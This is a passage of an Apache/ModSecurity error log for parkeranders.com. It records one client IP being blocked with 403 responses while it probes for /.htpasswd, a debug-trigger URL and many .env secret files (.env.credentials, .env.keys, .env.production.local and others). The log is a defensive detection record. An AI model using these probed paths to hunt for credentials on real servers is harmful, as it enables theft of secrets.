[Mon Oct 26 01:41:47.346858 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:59582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/z9x8c7v6b5-debug-trigger-parkeranders.com"] [unique_id "at7oG4B2F91qaH1mx9i0DgAAAAA"]
[Mon Oct 26 01:41:47.348319 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:59582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oG4B2F91qaH1mx9i0DgAAAAA"]
[Mon Oct 26 01:41:47.834806 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:59582] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at7oG4B2F91qaH1mx9i0DwAAAAA"]
[Mon Oct 26 01:41:47.835233 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:59582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at7oG4B2F91qaH1mx9i0DwAAAAA"]
[Mon Oct 26 01:41:47.836105 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:59582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oG4B2F91qaH1mx9i0DwAAAAA"]
[Mon Oct 26 01:41:49.511475 2026] [authz_core:error] [pid 2963588:tid 2963588] [client 34.104.156.199:59644] AH01630: client denied by server configuration: /var/www/html/.htpasswd
[Mon Oct 26 01:41:49.564311 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:59672] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.supabase"] [unique_id "at7oHSX6hE-fJup-lUtqiQAAAAU"]
[Mon Oct 26 01:41:49.564474 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:59672] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.supabase"] [unique_id "at7oHSX6hE-fJup-lUtqiQAAAAU"]
[Mon Oct 26 01:41:49.565417 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:59672] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oHSX6hE-fJup-lUtqiQAAAAU"]
[Mon Oct 26 01:41:51.307038 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:59848] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.credentials"] [unique_id "at7oHyX6hE-fJup-lUtqiwAAAAU"]
[Mon Oct 26 01:41:51.307268 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:59848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.credentials"] [unique_id "at7oHyX6hE-fJup-lUtqiwAAAAU"]
[Mon Oct 26 01:41:51.308031 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:59848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oHyX6hE-fJup-lUtqiwAAAAU"]
[Mon Oct 26 01:41:51.440706 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:59812] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.dev.local"] [unique_id "at7oH4B2F91qaH1mx9i0EgAAAAA"]
[Mon Oct 26 01:41:51.440970 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:59812] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.dev.local"] [unique_id "at7oH4B2F91qaH1mx9i0EgAAAAA"]
[Mon Oct 26 01:41:51.441849 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:59812] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oH4B2F91qaH1mx9i0EgAAAAA"]
[Mon Oct 26 01:41:51.445591 2026] [security2:error] [pid 2973325:tid 2973325] [client 34.104.156.199:59840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.secret"] [unique_id "at7oH-LIjM_NBNMXBD6KtAAAAAo"]
[Mon Oct 26 01:41:51.445728 2026] [security2:error] [pid 2973325:tid 2973325] [client 34.104.156.199:59840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.secret"] [unique_id "at7oH-LIjM_NBNMXBD6KtAAAAAo"]
[Mon Oct 26 01:41:51.446592 2026] [security2:error] [pid 2973325:tid 2973325] [client 34.104.156.199:59840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oH-LIjM_NBNMXBD6KtAAAAAo"]
[Mon Oct 26 01:41:51.514421 2026] [security2:error] [pid 2967444:tid 2967444] [client 34.104.156.199:59858] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.keys"] [unique_id "at7oHyzbxoDcPgmvgSFJRAAAAAI"]
[Mon Oct 26 01:41:51.514725 2026] [security2:error] [pid 2967444:tid 2967444] [client 34.104.156.199:59858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.keys"] [unique_id "at7oHyzbxoDcPgmvgSFJRAAAAAI"]
[Mon Oct 26 01:41:51.515573 2026] [security2:error] [pid 2967444:tid 2967444] [client 34.104.156.199:59858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oHyzbxoDcPgmvgSFJRAAAAAI"]
[Mon Oct 26 01:41:51.715769 2026] [security2:error] [pid 2973332:tid 2973332] [client 34.104.156.199:59876] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.production.local"] [unique_id "at7oHz_i4HNCTNPOg5uzCwAAAAw"]
[Mon Oct 26 01:41:51.716053 2026] [security2:error] [pid 2973332:tid 2973332] [client 34.104.156.199:59876] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.production.local"] [unique_id "at7oHz_i4HNCTNPOg5uzCwAAAAw"]
[Mon Oct 26 01:41:51.717021 2026] [security2:error] [pid 2973332:tid 2973332] [client 34.104.156.199:59876] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oHz_i4HNCTNPOg5uzCwAAAAw"]
[Mon Oct 26 01:41:51.770536 2026] [security2:error] [pid 2973335:tid 2973335] [client 34.104.156.199:59912] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.prod.local"] [unique_id "at7oH9LiqQy1ibbF-y7a9gAAAA8"]
[Mon Oct 26 01:41:51.770859 2026] [security2:error] [pid 2973335:tid 2973335] [client 34.104.156.199:59912] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.prod.local"] [unique_id "at7oH9LiqQy1ibbF-y7a9gAAAA8"]
[Mon Oct 26 01:41:51.771768 2026] [security2:error] [pid 2973335:tid 2973335] [client 34.104.156.199:59912] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oH9LiqQy1ibbF-y7a9gAAAA8"]
[Mon Oct 26 01:41:51.821595 2026] [security2:error] [pid 2967982:tid 2967982] [client 34.104.156.199:59926] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.config"] [unique_id "at7oHwxAu6O5Rl3lUdFIcwAAAAc"]
[Mon Oct 26 01:41:51.821837 2026] [security2:error] [pid 2967982:tid 2967982] [client 34.104.156.199:59926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.config"] [unique_id "at7oHwxAu6O5Rl3lUdFIcwAAAAc"]
[Mon Oct 26 01:41:51.822748 2026] [security2:error] [pid 2967982:tid 2967982] [client 34.104.156.199:59926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oHwxAu6O5Rl3lUdFIcwAAAAc"]
[Mon Oct 26 01:41:51.864046 2026] [security2:error] [pid 2973334:tid 2973334] [client 34.104.156.199:59882] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.staging.local"] [unique_id "at7oHxuTgBg4-l9uWelcHgAAAA4"]
[Mon Oct 26 01:41:51.864654 2026] [security2:error] [pid 2973334:tid 2973334] [client 34.104.156.199:59882] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.staging.local"] [unique_id "at7oHxuTgBg4-l9uWelcHgAAAA4"]
[Mon Oct 26 01:41:51.866233 2026] [security2:error] [pid 2973334:tid 2973334] [client 34.104.156.199:59882] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oHxuTgBg4-l9uWelcHgAAAA4"]
[Mon Oct 26 01:41:51.870006 2026] [security2:error] [pid 2973323:tid 2973323] [client 34.104.156.199:59834] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.testing"] [unique_id "at7oHwjvxj7QW3rihjPlygAAAAM"]
[Mon Oct 26 01:41:51.870300 2026] [security2:error] [pid 2973323:tid 2973323] [client 34.104.156.199:59834] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.testing"] [unique_id "at7oHwjvxj7QW3rihjPlygAAAAM"]
[Mon Oct 26 01:41:51.871997 2026] [security2:error] [pid 2973323:tid 2973323] [client 34.104.156.199:59834] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oHwjvxj7QW3rihjPlygAAAAM"]
[Mon Oct 26 01:41:51.898647 2026] [security2:error] [pid 2973333:tid 2973333] [client 34.104.156.199:59896] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.development.local"] [unique_id "at7oHwZ07Wdwv-JsCbKOggAAAA0"]
[Mon Oct 26 01:41:51.898954 2026] [security2:error] [pid 2973333:tid 2973333] [client 34.104.156.199:59896] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.development.local"] [unique_id "at7oHwZ07Wdwv-JsCbKOggAAAA0"]
[Mon Oct 26 01:41:51.899976 2026] [security2:error] [pid 2973333:tid 2973333] [client 34.104.156.199:59896] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oHwZ07Wdwv-JsCbKOggAAAA0"]
[Mon Oct 26 01:41:51.936703 2026] [security2:error] [pid 2963588:tid 2963588] [client 34.104.156.199:59892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.preprod"] [unique_id "at7oH0hKYrNeTnGv3xbKWgAAAEk"]
[Mon Oct 26 01:41:51.936933 2026] [security2:error] [pid 2963588:tid 2963588] [client 34.104.156.199:59892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.preprod"] [unique_id "at7oH0hKYrNeTnGv3xbKWgAAAEk"]
